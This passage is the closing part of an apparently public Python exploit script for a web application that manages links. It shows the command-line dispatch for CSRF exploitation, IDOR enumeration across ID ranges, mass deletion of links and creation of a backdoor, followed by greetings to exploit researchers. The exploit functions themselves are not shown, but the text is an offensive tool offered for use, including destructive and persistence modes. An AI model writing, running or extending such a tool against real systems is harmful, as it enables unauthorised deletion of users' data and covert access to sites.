if args.exploit == 'csrf':
if not args.csrf_url:
print(f"{Fore.RED}[-] Please specify --csrf-url for CSRF exploit{Style.RESET_ALL}")
return
keyword = args.keyword or f"mal_{hashlib.md5(args.csrf_url.encode()).hexdigest()[:8]}"
exploiter.exploit_csrf(args.url, args.csrf_url, keyword)
elif args.exploit == 'idor':
found = exploiter.exploit_idor(args.start_id, args.end_id)
if found:
print(f"\n{Fore.GREEN}[+] IDOR exploitation complete{Style.RESET_ALL}")
elif args.exploit == 'mass':
confirm = input(f"{Fore.RED}[!] This will attempt to delete multiple links. Continue? (y/n): {Style.RESET_ALL}")
if confirm.lower() == 'y':
deleted = exploiter.mass_link_deletion(args.start_id, args.end_id)
print(f"\n{Fore.RED}[!] Attempted to delete {len(deleted)} links{Style.RESET_ALL}")
elif args.exploit == 'backdoor':
exploiter.create_backdoor()
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================